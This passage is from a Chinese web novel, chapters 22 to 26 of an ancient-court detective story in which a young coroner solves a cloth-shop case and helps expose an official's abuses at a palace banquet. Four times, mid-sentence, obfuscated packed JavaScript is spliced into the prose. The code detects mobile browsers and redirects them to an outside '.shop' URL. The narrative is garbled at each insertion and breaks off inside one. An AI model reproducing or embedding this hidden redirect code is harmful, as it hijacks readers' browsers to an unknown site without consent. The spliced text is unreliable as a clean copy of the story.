>她忍不住嗳叹一声,宫中宴席此刻已经开始了,简亲娇也没有再找自己,杨氏衣料铺也并没有什么异样。 难不成,此案就真的到此为止了吗? “想什么呢?”余千帆见她又出神,不知从哪里拿出两盏兔子形状的花灯,“哝,我们也去放吧,只是看着多没意思。” 曲霜姿欣喜极了,“多少钱?我给你。” 余千帆乐呵道:“小爷我不缺钱,不用还了。”这还是头一次有女孩儿提出要给自己钱的,他贱兮兮地脱口而出:“不如用别的方法偿还也行。” “嗯……也行。”曲霜姿点点头,“我们算是朋友了吧,下次我来请客,请你到我常住的客栈吃饭!那客栈大厨的手艺可好得很呢。” “哦?是哪家客栈啊。”余千帆心想,这盛京城哪里的大厨是他没见识过的。 曲霜姿报上客栈的名字,少年郎愣了愣,极为爽朗地笑出了声,“那家客栈啊,就是我余家开的啊。” 曲霜姿皱眉,怪不得余叔叔给她开了这么久的客栈呢。合着她现下在盛京认识的人,个个都是有权有势的,就她还靠着一星半点的俸禄苟活,还拿了余叔叔那么多钱。 不过这样说来,她上次醉后走错房间,碰到的不会就是余千帆吧。首先肯定是余家人,不然那店里的小二也不会极力掩饰了,应该也不是余叔叔。 如果是余叔叔,定会把她送回先前的房间,才不会写小纸条骂她是猪头。 余千帆的可能性确实大一点,怪不得曲霜姿之前在温香楼初遇余千帆的时候,余千帆就冲着她笑。 “那请你去醉烟居,那是霍家的酒楼,怎么样?”她无可奈何道。 余千帆笑着应是。 二人穿过人群,找了一个能写字的空处。曲霜姿提起余千帆刚刚买来的笔,一时之间不知道该写什么好。 她最大的愿望自然是和阿娘团聚,但是已经没有实现的可能了。曲霜姿叹气,尽管如此,她还是不想浪费这个许愿的机会。 不管能不能实现,有希望,才有继续前行的动力。 22. 愿天上人间 曲霜姿郑重写下——愿天上人间,占得欢娱,年年今夜。 余千帆看得瞠目结舌,不过刚及笄的少女竟然有这样的宏愿。曲霜姿看出他不解,也只是微微弯了弯眉眼,“人人安康如意,咱们大安才名副其实。” “快写你的吧,我们一起去放。”少女笑得真诚,一双眸子亮晶晶的,充满了生机和希冀似的。 余千帆愣神,他沉思片刻才决定相信这花灯一次,他写道:只愿我是我。 余千帆的字挺拔健秀,但也给人一种无端的锐利之感,冷冰冰的,和少年本人完全不像。但曲霜姿无意间瞥见这四个冷峻淡薄的字,心口却被燃得滚烫。 二人相视一笑,捧着花灯回到江边,小心翼翼地把两只散着暖暖橙光的小兔子放入水中。江内花灯数不胜数,很快两只兔子散了开来,融入了花灯大队当中。 曲霜姿一直盯着自己的花灯,看它飘得越来越远,最后没了影子。 她侧过脸冲余千帆道:“希望我们的愿望都能实现。” 余千帆也在看她,这份祝愿流入他耳朵里,竟然让他的心脏如鼓般咚咚作响。这几年来,饶他万花丛中过,也从未有过这样奇妙的情绪。 他站在原地,痴痴回应:“好。” 身后人们雀跃地欢呼:“要放烟花啦!”于是江边的人们都回过头,曲霜姿踮起脚尖,却被乌泱泱的人头堵得看不清楚。 “会爬树吗?”余千帆鬼使神差地问。 虽然他自己从小被家里规训着,并不擅长爬树,也知道一般女孩子根本没有这念头,但他就是莫名觉得这个古灵精怪的姑娘会。 果不其然,曲霜姿意会,爬的高自然看得就清楚些。 于是她就在余千帆震惊的目光下,飞快地攀上了树,稳稳当当的,叫树下的少年自愧不如。她伸出手,“你不会吗?来,我拉你。” 余千帆羞赧地红了脸,连忙垂头专心爬起树来。 树上确实更加清晰,余千帆刚站稳,那边的烟花就噼里啪啦作响开来,蹦出一枝枝火花,闪烁着转圈,让人眼花缭乱。 随后火花窜得更高,像是闪电般咻得升上天,猛得炸开。大片花火朝树上两人飞了过来,余千帆咬牙护住曲霜姿,却没站稳险些滑落,幸亏被曲霜姿一把拉住。 “多、多谢。”平时第一次被美救英雄,少年在烟花的照耀下红了脸。 “也谢谢你。”曲霜姿突然面色凝重地跳下树,就在刚刚余千帆下意识护住她的那一瞬,她想明白了那衣料铺到底多了什么。 多了衣料自然不用说,但还多了几个人台。 是沈无逆为保护她用身体挡住的那种人台,木制的,但是沈无逆挨了一下却没受多大的伤,说明此物空心。若是叠在一起,又高又壮,外头再蒙上衣料拼接而成的布,各色的扭曲的花样在夜幕就像是怪物身上恐怖的纹路。 夜中本来就看不清楚,蓦然看到一个恐怖的会动的庞然大物,确实是会害怕的。 之后的两天晚上,杨硕为处理这个“作案工具”几次出来想要扔掉,可奈何盛京城夜猫子极多,每次都叫人发现了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711880|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>直到第三天他脑子才转过弯儿来,索性重新把这些东西拆解开来、放回店里。 只是杨硕为什么要这样做呢? 曲霜姿心里有了一个猜想,一股寒意从地底钻出,侵入她的身体,从脚凉到心头。她僵硬地转过头问余千帆,“余公子,我有一个问题想问你。” “哦?”少年眯着一双桃花眼看她。 谁料曲霜姿问得一本正经,“假使你有位小妹,小妹在集市上看中了一只小兔,只说有两只小兔,其中一只很亲人,让你去集市上去买。” “然而你去了集市,只见一只兔子在极小的笼里,无精打采的,一只栓在外边,看着乖顺极了。” “你会买哪一只?” 余千帆先是脱口而出,“当然是买乖顺的一只啊。”但他又若有所思,很快改了口:“我把两只都买回去,让它们两只作伴,想必小妹都是喜欢的。” “失陪。”曲霜姿没有听进去他后边一番话,迅速冲出了人群,向杨氏衣料铺跑去。 杨硕单知道女儿被哄骗,以至于不愿回京,最后被骗财骗色。而杨静好呆在梁县,不是为了人渣姜绍,而是为了陪伴心上人王云廷。 杨硕应该是通过某种原因知道了女儿喜欢王云廷,并默认是王云廷哄骗了女儿,害得女儿失去了生命,所以才想要报复。 她气喘吁吁地跑到衣料铺门口,店门紧闭,曲霜姿愣了愣神,转而转到店铺窗边低声唤了几句:“乐知、乐知!” 没一会儿,一个出落水灵的姑娘探出了头,“小姐?” 23. 知天命而乐 这就是曲霜姿那日买的奴仆。 曲霜姿匆匆将她买来,买之前只打算问两句。 其一,“你觉得自己聪明吗?” 女孩儿个子不高,在众奴仆里被挤得探不出头,但一双眼睛却格外坚定,“我比他们都聪明。” 其二,“我买了你,许你给自己取个名字,你想叫什么?” 这时女孩儿犹豫了,毕竟是陪伴自己一生的名字,一时间确实难以抉择。 曲霜姿补充了句,“你觉得什么对一个人来说弥足珍贵?” 女孩儿瞬间想好了,露出两个可爱的梨涡,“我曾偷听私塾先生讲课,说‘乐天知命,故不忧’,我想名‘乐知’。” 曲霜姿眼中露出惊喜的光,“你知道这什么意思?” “要相信命运,乐观地对待命运,就不会有忧愁。” “在理,”曲霜姿笑着点点头,“只不过更重要的是相信命运,相信万事发生必有利于自己,相信你可以让命运朝着你想要的方向发展。” 乐知眼睛一亮,跪在地上磕头,“乐知谢小姐!” 曲霜姿把人扶起来,“不要叫我小姐,你和我现在都是自由之身,而我现在有事拜托你,完成了这些事,你也算还完了恩情,可以离开了。” 少女感激涕零,重重地点了点头。 “我要让你帮我盯一家店,店主人涉及了命案,你敢还是不敢?”曲霜姿抬眼,眸中晦暗不已。 — 但眼下乐知还是把曲霜姿当小姐,坚决不肯改口,“小姐,你怎么来啦?” “我盯着呢,杨老板他们晚饭后就离去了,再没回来过,这段时间店里也什么异常都没有。”乐知自信满满,身上穿着曲霜姿帮她买的新衣,此时此刻居然像哪家的娇蛮小姐。 曲霜姿点点头,随即就翻进了窗子。 乐知吃了一惊,但很快露出副心领神会的神情,跟着翻了进去。 而不明所以、匆匆赶来的余千帆才是真的吓了一跳,“你、你们这是做什么?”他跑到窗边,刚好与曲霜姿对视,少女在黑暗里看着他,也是有些惊异。 她眼中被街上璀璨染上一层弧光,意外显得面露凶光。但很快,她又恢复嘴角吟吟笑意,“小少爷,你怎么跟来了?” “霜姿小姐,你这又是做什么?”余千帆讪讪笑道。 “余公子早该知道我是什么人吧,我不信你没有提前查我的身份。”她抱着臂,乐知就在一旁撑着窗子。主仆二人都对余千帆冷眼相待,神色在黑暗中极为相似,叫他看得恍惚。 余千帆尴尬地摸摸鼻子,他确实查了曲霜姿,知道此人是个孤女、刚及笄、从梁县来,参加过仵作选拔,并且表现出彩,性格自由爽朗不同于寻常女子,现下是大理寺寺正沈无逆的手下。 盛京世家都知道,大理寺寺卿是大皇子的人,所以都想把女儿送进大理寺,未来才有更多的机会让女儿成为大皇子妃。 甚至是未来母仪天下的皇后娘娘。 所以余千帆猜想,曲霜姿定是恰巧听了这些话,一时走投无路所以才想嫁入后宫,未来还能有个倚靠。 他本人是厌恶极了这盛京世家风光下的明争暗斗,更不用说朝堂上的诡谲多变,他实在不忍心看这样伶俐可爱的姑娘误入狼窝。 “我要查案,不愿牵连公子,公子快些走吧。”曲霜姿话罢,乐知就作势要松手关窗,把一只手还搭在窗边的余千帆吓出身冷汗来。 “哎哎,我也来帮你,不行吗?” 曲霜姿耳朵灵,听见店外似乎有人声,顾不得再和少年废话,直接把人拽了进来,捂住余千帆惊呼的声音。 她压低声音:“先藏起来,一会儿我先出去,你们不到万不得已别出来。” 杨硕虽为人和善老实、待妻女极好,但从他上次抄起木人台就砸人的架势,可见也是敢为妻女豁出一条命来的。 果然是杨硕夫妻回来了,曲霜姿屏息凝神,和乐知、余千帆各隐匿在三个人台后边。 安绫一进门连灯都没点就声泪俱下,小声地问丈夫,“夫君,你说那小姑娘是不是看出什么了?咱们该怎么办啊?” 她拉住杨硕的手,“咱们把那些东西丢了吧,就假装坏了,通通扔到河里去。” 她慌乱地说个不停,仿佛如此就能让她安心几分。 然而下一刻,衣料店深处传来冷冷的女声,“这样不负责任的行为,和抛尸荒野的人又有什么区别?” 安绫吓得尖叫一声,杨硕连忙把妻子护在身后,一边点了最近的灯,一边怒喝道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711881|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谁!?” “我是知晓了一切的人。” “知晓你们错认王云廷为奸杀女儿的真凶,利用香樟粉使其身体不适,打算趁其不备除之而后快。” 曲霜姿不紧不慢地说着,杨硕努力判断着声音的来源,缓缓靠近。 安绫已经腿脚发软,不知所措地哭喊着,“杨硕,是不是静好回来了啊?” “是不是静好知道她阿爹阿娘做了错事,所以回来劝咱们回头是岸啊……”女人彻底崩溃,要不是扶着男人,恐怕就要瘫倒在地了。 杨硕也被妻子这样一喊,喊得魂不守舍。 他不信有鬼神,可他心里确实有鬼,所以他怕了。 曲霜姿不愿再吓唬人,给身旁二位使了个眼色就缓缓走了出来。 “事到如今,你们可承认?” 杨硕一见是她,眼神都狠厉起来,“什么事!?我们没有害人!” “那是因为你没料到王云廷之前佩戴的香囊是会害人性命的,王云廷患有心疾,仅仅是接触那物,就会身体不适、产生癔症。” “你更没想到——”曲霜姿顿了顿,随后语速加快,声音越来越严肃狠厉,句句直戳人心,“他只是看见你为掩盖罪行制造的‘夜游神’就吓得突发心疾,你没想到,他身后竟然还跟着一个姜绍。” 杨硕抱着妻子站在原地,默然不语。 “我想,店里的几个人台还有布料,其实还有拼接组合的痕迹吧。”曲霜姿看着他们这样,心里不是滋味,她轻轻叹气,继续道:“还有王云廷之前佩戴的香囊,你们应该也没来得及处理吧,毕竟也只当那是你们女儿送的香囊,心底还想着要留个挂念。” “我知道静好亲手缝制的那枚在哪儿,我们交换,全当是你们主动投案,我定会帮你们求情。” 曲霜姿所言令人动容。 杨硕抱着妻子的力度大了几分,却是松了口气,“好。” “只是此事和我妻子无关,其余的,杨某人敢作敢当。”滚烫的一滴泪落在地上,丝毫不影响杨硕的话更加铿锵有力。 男人在烛火晃动的光影里站得笔直,犹如一棵坚韧而挺拔的松,仿佛永远屹立不倒。 而这棵松很久之前就许下诺言,他要护妻女一生一世,矢志不渝。 24. 宫中巧夕宴 夜游神和王云廷的案子就此了结了。 曲霜姿走在大街上,却没有一丝破了案的成就感。 王云廷是突发心疾,这是从娘胎里带来的弱症,听信大师谗言的王淮波亲手把儿子“扔”到梁县,三番五次地想逼死他,不给吃、不给穿,更怕儿子真的考中,重返盛京影响自己的仕途。 于是王淮波和姜绍的爹联合起来,打算无形中杀死王云廷,不曾想那散魂散意外夺去一个无辜女子的性命。 而姜绍也许是被父亲嘱咐、或是被王淮波收买,又或是因为嫉妒杨静好喜欢王云廷,但不管是出于什么原因,终究是存了害王云廷的心思,把那散魂散的香囊送给了王云廷,可笑王云廷竟真的把此人当成兄弟。 之后是王云廷知晓父亲要谋杀自己心慌意乱,是杨硕为女儿复仇认错了人,又换了那香囊,香囊里的香樟粉及黑夜中伺机而动的夜游神…… 这些种种,或许少了其中的一环王云廷都不会这样轻易死了,但也许不过是时间早晚的问题。 何人是罪魁祸首? 非要归根究底,王淮波也该是满意这个结果的——都怪简亲娇生了个会夺他气运的儿子,生了个天生心疾的儿子。 曲霜姿想起跟着她和沈无逆从梁县回来、后被安置在沈府里的那位老大爷。老大爷哭天喊地,求她二人一定要为云廷这个好孩子找出真相,为云廷求个公道。 曲霜姿自惭形愧,她不知道谁能还这个公道,也不知道这桩案子会怎么判定,大抵还是草草处决了姜绍,再对其余人小施惩戒,然后王洪波呢? 依旧是朝廷命官、依旧是声名显赫的王大人。 她又想到简亲娇,那个冲破王夫人身份桎梏,却又不得不重新将自己禁锢起来,成为外人眼中艳羡的王夫人。 “余公子,宫中宴会此刻怕也要结束了吧。”曲霜姿看着远处灯火通明,知道王家的事情会是自己一辈子的遗憾。 余千帆看着少女脸上落寞的神色,早想出言安慰,却实在不知该如何开口。这下曲霜姿主动询问,余千帆忙清清嗓子回答:“对,再晚些宫门就落锁了。” “哎,你很厉害嘛,那男人看着凶神恶煞的,你居然不怕。”他发自内心地夸赞道。 “我?”曲霜姿笑了笑,“我当然怕啊,我身上都没有趁手的武器,再说我不是暗示你了嘛?” 暗示? 余千帆愣住,“你暗示我什么了?” “我出去之前给你使了个眼色,让你稍有不对就出来救我啊。”曲霜姿没想到他没看懂,这下反应过来才觉得好笑。 她是把余千帆当成是沈无逆了,不然她连少年会不会武功都不知道,怎么敢寄希望于他啊。 幸好杨家夫妇还算是好人。 曲霜姿微微松了口气,她转头对一旁默默跟着的乐知道:“任务完成了,干得不错,我给你些钱,你找个营生好好生活吧。” 乐知一听赶紧摇头,“小姐,乐知什么都没做,哪能就这样忘恩负义地走了。” 她诚挚地看着曲霜姿,“小姐,您让我知道命运是可以改变的,就让我跟着您吧!我想陪您一起探案,不管做什么,只要能让乐知活得有价值就好!” “你自己也可以活得有价值呀。”曲霜姿哭笑不得。 “起码让我还够恩情,多为您做些事。”乐知眉头微蹙,楚楚可怜的样子,然而眸中很是坚毅,仿佛无论曲霜姿怎么拒绝都不成。 余千帆笑眯眯地劝道:“你们这么像,也该是一双主仆,把乐知姑娘留下吧。” “不然一个小姑娘又能被你赶去做什么呢?” 这话曲霜姿可就不爱听了,“一个姑娘能做的事有很多,还能做得很好,不然这夜游神的案子又是谁破的?” 一语点醒梦中人,乐知连连点头,“小姐厉害,我要跟着小姐干大事!” 余千帆刚刚也是顺口劝阻,现下也是发现了这话的不妥当,“是我失言,霜姿姑娘是女中豪杰。” 曲霜姿还是摇头,“你信不信,就算刚才那位杨老板免不了牢狱之灾,他的妻子安绫依旧能把店铺经营得很好?” 余千帆奉承地点点头,曲霜姿却不满意,她看着乐知的眼睛,“你信吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711882|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 乐知自然是信的,要说她之前对曲霜姿只有感恩之心,那么现在更多的则是见识了曲霜姿本领和胆识后产生的敬仰与钦佩。 “我信的,不然我也不会想要跟着小姐您,”乐知眨巴着大眼睛看曲霜姿,然而又太瘦,像是只小猫似的。 曲霜姿忻悦地看她,“那你先跟着我,等你未来有了其他想做的事,就大胆去做吧。” “但我只是买你时比较大方,实际上拮据得很,你跟着我恐怕要吃苦。”她苦笑着,“还有就是不要叫我小姐,我也不是什么大户人家的小姐,和你是一样的,只是你不幸些。” “但是现在,我们是一样的了。” 乐知眼泪噙在眼睛里,嘴角都咧到了耳朵根,她用力点头应道:“嗯!” 余千帆尴尬地站在原地傻笑,他心中默默盘算,怎么现在傻姑娘这么多?大皇子就算真的要娶大理寺的,也恐怕娶不过来吧。 曲霜姿心情好了点,“余公子,今天多谢你陪我过节了。” “霜姿姑娘哪里的话,互相陪伴罢了。”余千帆礼貌地笑笑,“我也是实在不想去参加巧夕宴。” “为什么?”曲霜姿好奇道。 “今日许多世家子弟都不来参加,尤其是小姐们,都期望着在明天宫里的宴席上大放光彩,得到皇子们的青睐呢。” “明天?宫宴?”曲霜姿不可思议地问,“宫宴不是在今天晚上吗?” “你有所不知,如今年长的两位皇子,还有一位公主都已经到了成婚的年龄,所以今年宫里也起意办一场巧夕宴,却不好和历年来的群臣宫宴冲突,就延后一天。” “原来如此……”然而这些和她曲霜姿没什么关系,她垂眸神思恍惚地和余千帆告了别,带着乐知朝客栈走去。 乐知比曲霜姿还小一岁,在人牙子手下吃了不少苦头,性格倒还算是开朗,二人很合得来。她们闲聊一路,曲霜姿不知不觉中也被乐知的雀跃给感染了。 然而就在二人经过一条黑暗小巷时,一个女声低低传来,“曲小姐。” 一连几声,宛若连绵不绝。 25. 愿君多采撷 乐知看见黝黑中一张白兮兮的脸,顿时大惊失色,险些跳起来,捂住了嘴巴才堪堪忍住没发出惊叫来。 曲霜姿也被吓到,但她反应快,即刻认吃来人,嘴角瞬间勾起一抹得意的笑。 她没看错,亦没算错。 — 次日,曲霜姿心情极好,她将私自查案的事避重就轻地讲给了沈无逆听。 沈无逆皱着眉,张口就要斥责她肆意妄为。曲霜姿一反常态地竟没和他争论,自顾自地投入到了枯燥的整理工作中,不时还哼几句野调子。 但两桩案子告破,既没得罪王家,也还了盛京百姓安宁,曲霜姿也算立了小功一件。但当沈无逆从得知曲霜姿私自行动时的恼怒中想明白时,少女却不见了踪迹。 似乎是原本就没打算借此邀功。 沈无逆莫名后悔,还有股不好的预感。他思来想去,总觉得该在今夜宫宴结束后亲自把少女接回沈府,好好和曲霜姿道个歉。 …… 宫中的巧夕宴要比世家轮流举办的更为隆重。 世家的巧夕宴是由世家夫人主持,在自家府内寻一处流觞曲水设宴,丝竹管弦伴奏,少年少女隔席而坐,共用晚膳。 每年依办宴主人喜好,公子们在宴前参加些垂钓、马术、射箭之类的小活动。 沈无逆也就是去过几次,皆为意兴阑珊、敷衍了事。而宫中的宴席虽由帝后亲自主持,更为隆重奢华些,但左不过是更小心地遮掩自己的敷衍罢了,沈无逆一心只想回到故土,绝不会在此处留情。 那些鲜花一般的世家小姐们,再斑斓芬芳不过,也只能愿两位皇子殿下多多采撷了。 宴席上人人欢笑,只有沈无逆满腹忧愁,他仗着自己酒量好,一杯接着一杯将酒水灌进口中,试图让烈酒抚平忧愁。 皇帝特地派来几个女子围在他身边。 沈无逆陪着客套的笑容,一会儿多谢陛下、娘娘,一会儿多谢大皇子二皇子,最后还要谢谢身边几位姑娘。 脸都要笑僵了。 宫中巧夕宴还有不同之处,这些世家子弟的母亲都没有来,被邀请的都是昨日宫宴上的官员。 沈无逆也是糗得慌,王淮波那个老东西居然还醉醺醺地打趣他,“沈公子真是艳福不浅啊,我家中妻子管得紧,无福与美人们相伴作乐了。” 老贼哭诉得情真意切,若不是沈无逆知道他是何为人,恐怕都要叫他给蒙骗了。 “王大人和妻子琴瑟和鸣、恩爱有加,也是京中一段佳话呀。”沈无逆曲意逢迎地虚与委蛇,惹得旁边几位官员都捧腹大笑。 身边几位如花似玉的姑娘也都抬袖掩了面,羞赧地笑着。 王淮波开口夸耀:“那可不是!” 他后边的话还没说完,眼睛却忽然直了,他拍了拍自己的脑袋,怀疑自己是不是醉酒眼花了,否则怎么会在刚进来的余家少主身后——看见自己的妻子…… 余千帆在众人惊疑的目光中缓缓走了进来,他恭敬地跪伏在地,“微臣参加陛下,陛下万岁万岁万万岁。” 身后两位女子跟在他身后,亦是恭恭敬敬地行礼问安。 高处金椅之上的男人面露疑惑,欣赏歌舞时残留的笑容还凝固在嘴边,他只是微微蹙眉,却已经是不怒自威。 曲霜姿强忍着一窥龙颜的好奇,伏在地上等待这位九五之尊发话。 “怎么来迟了?”温孤昪垂眸睥睨着几人,声音听不出喜怒。 “微臣入宫时遇到了两位女子,说是有事求见陛下,”余千帆顿了顿,微微昂起头,挺直了腰板,“微臣知陛下九五之尊不是旁人轻易得见的。” “但这其中一位女子却不是旁人,是王大人的妻子,微臣想王大人是陛下肱股之臣、深得圣心,王夫人求见必定是有要紧事,所以才擅作主张将人带来。” “这才耽搁了时间。”他又伏倒在地,一副恭顺听从发落的模样,“还请陛下恕罪。” 此番冒险,稍有不慎就恐惹得龙颜大怒,若不是曲霜姿求他,余千帆再怎么天不怕地不怕也是不敢的。 昨夜他们二人还未分开太久,曲霜姿却又追上了他。 曲霜姿喘着粗气问他:“余公子明日是否是要去宫中赴宴。” 得到肯定的回答后,少女再次得寸进尺,“可否能带上我?” 余千帆脸色登时就变了,“这可不是儿戏,圣上面前大家都提着脑袋,那是一万个小心谨慎。” “你只管带我进去,就说是偶然遇见,我定不会牵连你的。”她说得信誓旦旦,仿佛所言是什么稀疏平常的事。 “你这么拼命就为了嫁入皇室?”余千帆皱着眉不可置信地问:“你以为入了宫就是荣华富贵、权势滔天?那是虎狼之穴,是权利的中心,也是最吃人不眨眼的地方。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711883|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “最是无情帝王家,贵人若是不高兴,一句话能要你几个脑袋。” 曲霜姿听得莫名其妙,好笑道:“谁说我要嫁入宫去了?” “况且我就有这么一个脑袋,任凭别人有多大本事,也只能要我一个脑袋。” “而我做事也有自己的准则,如果非要因此掉了脑袋,那掉便掉吧。” “那你参加仵作选拔,不就是为了未来接近皇子们吗?”余千帆细想曲霜姿也不像是那种人,越说越没底气,“那林寻雁不就是为了嫁给大皇子吗?” “什么!?”曲霜姿惊道:“我是为了查清我母亲的真实死因。” 余千帆瞠目结舌,不知道该说什么好,只能干巴巴憋出一句:“那你让我带你入宫是干什么啊?” 曲霜姿很快眉头舒展,哼哼一笑,眼珠转了转,一副很神秘的样子,“你说宫中是龙潭虎穴,那我自然是——”她拉长尾音,好一会儿才压低声音有了后半句,“与虎谋皮喽。” “其余的我没办法告诉你,你只有什么都不知道才不会被牵连。” “肯定是做好事,”她见余千帆面色凝重,挑眉笑着开玩笑,“就当是欠你一个人情。你帮我这次,以后你有什么需要帮忙的,我肯定万死不辞。” 余千帆回过神,额角已经冒出了虚汗。 今日宴席别开生面,也算是其乐融融、一片祥和,温孤昪心情难得尚欣,只是看向了王淮波,“王大人,是令正吧?” 王淮波酒醒了一半,猛得咽了口唾沫,上前回禀:“正是。” “起来吧,”温孤昪点点头,抬了抬手,“王夫人是因何事求见朕呢?” 余千帆坐了下来,笑着和周围长辈及同僚打了招呼,但笑意不达眼底,他胆战心惊地瞧着曲霜姿,生怕她再做出什么惊天之举。 然而场上不止他一人提心吊胆,沈无逆寒毛耸立,连忙屏退身边几只莺莺燕燕,盯着曲霜姿快要盯出火星子来。 他不过昨日收回暗中盯着曲霜姿的人,今日她就出现在了宫宴之上!?这一天的时间里到底发生了什么? 必定是和王家有关了。 简亲娇四十出头,风韵犹存,宫宴上几十双眼睛都看着她。只见她端庄上前,再次跪倒在地,言辞恳切,一语惊人,“我夫德行有亏、恶贯满盈,我与他同处屋檐之下痛不欲生,还望陛下替民妇做主!” 26. 火树银花合 连自称都变了,不说臣妻,改称民妇了。 温孤昪饶有趣味的眯起眼睛,在场众人都看好戏似的看向王淮波。 王淮波脸色大变,几步上前拉住妻子的胳膊:“夫人,你说什么胡话呢?” 他飞快换上谄媚的笑容,“陛下,微臣和贱内前不久吵了嘴,夫妻嘛,多是床头吵架床尾和的。” “这是微臣的家事,不该污了陛下尊耳,微臣先把夫人带回去,明日再来谢罪。” “你胡说!”简亲娇使出浑身力气将这个肥头大耳的男人推开,“陛下英明神武、爱民如子。民妇亦是大安百姓,纵使是家事,陛下也能明察秋毫,还民妇和民妇的儿子一个公道。” “儿子?王爱卿什么时候多了个儿子?”温孤昪眸若寒星,隐隐带了几分不怀好意。 众人哗然一片。 王淮波急切难耐,张口就要再污蔑简亲娇说胡话,沈无逆伸手一拦,“王大人,先让尊夫人说完吧,否则今天这一出,大家都以为是大人要封夫人的口呢。” 简亲娇投来感激的目光,随后将这二十多年的遭遇倾吐出来,她原以为自己会在宴席上泣不成声,可真的到了要为自己讨要公道的时候,她却不由自主地把腰杆挺直了。 仿佛谁也再不能使她屈服。 她彻底松了口气,神情大方磊落地等待陛下决断。 场上一时鸦雀无声,诸位世家小姐无不动容,拿起绢帕默默揩着眼泪。 曲霜姿小心地抬起头,遥遥看向銮椅上的两位贵人。温孤昪敛眉垂眸,小半张脸被阴影遮挡,还是看不清神色,倒是皇后娘娘默默拭着眼泪,可见也不是真的无情。 “王淮波,你可承认虐待妻女、谋害亲子之事?”温孤昪眼神冷漠严肃,甫一开口就降下威压,空气被冻结一般,众人大气都不敢出。 没人想到整日里挺着大肚子乐呵的王淮波竟然能如此心狠手辣。 他咬咬牙,还是认了,王云廷到底是心疾突发死的,而自己左不过是挨几板子、罚些俸禄罢了。 简亲娇这样不受控制的娘们儿,回去再收拾也不迟。 “王大人,这可还没完呢。”曲霜姿俏皮的音调一出,众人这才注意到她,她又挨了沈无逆一记眼刀,这才老老实实上前恭敬道:“奴婢参加陛下,奴婢是简夫人的贴身婢女,夫人菩萨心肠,此番也不仅仅是为了自己,更是为了更多被王淮波所迫害的女子。” “这些女子都等在殿外求见陛下呢。” 温孤昪没想到此事还有另外一层,扬了扬手,沉声下令:“宣。” 三个女子相携着走了进来,年岁不一,但看得出容貌都是昳丽不凡的。 三人一同行了礼,从三十多岁较为年长的先行说起。 “我原是王淮波的远房表嫂,丈夫一朝蒙难,我们孤儿寡母却被他强行关了起来,我儿子被他嫌晦气,仍在襁褓就被他让人捂死了。” “我无数次要报仇,却换来一次次的毒打,我一个清清白白的妇道人家竟成了他的禁脔。” “我想过寻死,可是这样的人渣还活在世上,我大仇未报,岂敢轻易赴死!” “他强行灌药于我,让我为他生女儿,我就一次次让自己小产,决不会顺了他的意!”女人咬牙切齿,恨不得将王淮波生吞活剥。 “他后来终于放弃了我,但却怕我报官生事,依旧囚禁着我,今日简小姐搭救,我才能亲自来告发他!” 接下来是位二十余岁的姑娘,姑娘桃花面容,还未开口已经梨花带雨,但她的话铿锵有力,“我原本和我的新婚丈夫过着安稳日子,但偶遇王淮波后,他就逼迫我和离然后从了他,说有大师说年轻女子能够滋补他的身体、强健他的体魄。” “我百般拒绝,可他却命人将我丈夫杀害了,然后施暴于我……” 女人抽噎几声,王淮波怒火攻心,跳起来质问道:“你也受了简亲娇那疯女人的蛊惑!这些年,我供你们吃供你们穿,荣华富贵旁人岂敢肖想!?” “有这样的好日子,你们竟还不知足!” “你有证据吗?”他指着女人,鼓睛暴眼道:“你这是污蔑,这是欺君罔上!” 女人哈哈笑了,笑声高昂似有疯癫之态,满堂的官员和世家子弟都提心吊胆。 “证据?”她的笑声转而变成了哀嚎,她扑通跪下,“我亲眼所见,我站在这里,就是我夫被害活生生的证据。” “大安对婚嫁之事都记录在册,我元念儿的名字旁写的是叶文宣的名字,和你王淮波没有半分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 